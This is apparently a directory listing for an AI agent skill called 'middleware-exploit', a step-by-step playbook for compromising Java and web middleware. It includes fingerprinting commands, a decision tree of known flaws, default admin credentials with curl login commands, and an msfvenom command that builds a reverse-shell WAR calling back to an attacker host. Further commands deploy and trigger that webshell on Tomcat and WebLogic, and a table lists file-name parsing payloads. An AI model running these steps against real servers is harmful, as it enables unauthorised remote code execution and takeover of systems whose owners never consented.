SuperAPI AI Directory

middleware-exploit

General & other

View repository

Updated 10-16 09:30

About this skill

Middleware Exploitation Methodology

Related skills: CVE exploitation workflow → cve-exploit-methodology; Default credential detection → default-cred-sweep; Java deserialization (common middleware chains) → java-deserialization-methodology

Middleware is the runtime environment for web applications—taking down the middleware is equivalent to executing code directly on the server.

⛔ In-depth reference (required reading)


Phase 1: Middleware Identification

# 自动指纹
whatweb http://TARGET
curl -sI http://TARGET | grep -i "Server\|X-Powered-By"
nmap -sV -p 80,443,8080,8009,8443,9090,7001,4848,9200 TARGET
Common port fingerprints

| 端口 | 中间件 | 管理后台路径 |
|------|--------|-------------|
| 8080 | Tomcat | /manager/html |
| 7001 | WebLogic | /console |
| 8080/9990 | JBoss/WildFly | /admin-console, /management |
| 4848 | GlassFish | /common/index.jsf |
| 80/443 | IIS | — |
| 80/443 | Nginx | — |
| 80/443 | Apache | /server-status |

## Phase 2: 攻击决策树

Which middleware is identified? ├─ Tomcat │ ├─ /manager accessible → weak credentials → deploy WAR │ ├─ 8009 AJP open → Ghostcat file read/RCE │ └─ PUT method enabled → write JSP directly │ ├─ WebLogic │ ├─ /console accessible → weak credentials → deploy WAR │ └─ T3/IIOP protocol → deserialization RCE (many CVEs) │ ├─ JBoss/WildFly │ ├─ JMX Console unauthorized → deploy WAR │ └─ Deserialization (JMXInvokerServlet) │ ├─ IIS │ ├─ PUT method → WebDAV upload │ ├─ Short file name → information disclosure │ └─ Parsing vulnerability (6.0/7.5) │ ├─ Nginx │ ├─ Directory traversal (alias misconfiguration) │ ├─ Parsing vulnerability (cgi.fix_pathinfo) │ └─ CRLF injection │ └─ Apache ├─ Path traversal (CVE-2021-41773) └─ mod_cgi/mod_cgid → RCE


## Phase 3: 通用攻击 — 管理后台弱口令

```bash
# Tomcat Manager
# 默认: tomcat/tomcat, admin/admin, manager/manager
curl -u 'tomcat:tomcat' http://TARGET:8080/manager/html

# WebLogic Console
# 默认: weblogic/weblogic, weblogic/weblogic1, weblogic/welcome1
curl http://TARGET:7001/console/

# JBoss
# 默认: admin/admin, jboss/jboss
curl http://TARGET:8080/admin-console/

# GlassFish
# 默认: admin/(空), admin/admin
curl https://TARGET:4848/

Phase 4: WAR Deployment Getshell

Tomcat Manager Deployment

# 生成 WAR webshell
msfvenom -p java/shell_reverse_tcp LHOST=ATTACKER LPORT=4444 -f war > shell.war
# 或用现成 JSP webshell 打包
jar cf shell.war shell.jsp

# 部署
curl -u 'tomcat:tomcat' --upload-file shell.war \
  "http://TARGET:8080/manager/text/deploy?path=/shell"

# 触发
curl http://TARGET:8080/shell/

WebLogic Deployment

# 通过 Console 上传 WAR(Web 界面操作)
# 或通过 REST API
curl -u weblogic:PASSWORD -X POST \
  http://TARGET:7001/management/wls/latest/deployments/application \
  -H "Content-Type: application/json" \
  -d '{"name":"shell","source":"/path/to/shell.war"}'

→ Detailed exploitation for each middleware → references/middleware-details.md

Phase 5: Parsing Vulnerability Quick Reference

Middleware Vulnerability Exploitation
IIS 6.0 Semicolon truncation shell.asp;.jpg
IIS 6.0 Directory parsing /test.asp/shell.jpg
IIS 7.x FastCGI shell.jpg/.php
Nginx cgi.fix_pathinfo shell.jpg/.php
Apache Multiple extensions shell.php.xxx(falls back to php when no extension is recognized)
Tomcat PUT method PUT /shell.jsp